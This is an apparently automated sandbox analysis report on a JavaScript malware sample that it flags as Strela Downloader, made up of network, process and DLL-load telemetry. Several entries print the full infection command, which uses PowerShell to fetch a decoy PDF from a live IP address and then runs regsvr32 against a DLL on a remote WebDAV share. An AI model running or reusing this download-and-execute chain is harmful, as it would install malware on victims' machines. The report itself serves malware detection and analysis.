Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1718948180.000002BB77D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1780495125.00000265249B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1779942186.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1780545703.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1779680460.0000026524A0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1779942186.00000265249EB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1780545703.00000265249EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;y
Source: net.exe, 00000006.00000002.1780495125.00000265249B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000008.00000002.2999696287.0000025D21200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1786444311.0000025D21418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1786444311.0000025D21418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1786444311.0000025D21418000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1786444311.0000025D2144D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1786444311.0000025D214C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1786444311.0000025D214C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1786444311.0000025D214C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7316, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 545019492124428424.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/54@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7376:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cfetuo03.4po.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 545019492124428424.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,4786099737499866403,6720817204243978420,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,4786099737499866403,6720817204243978420,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
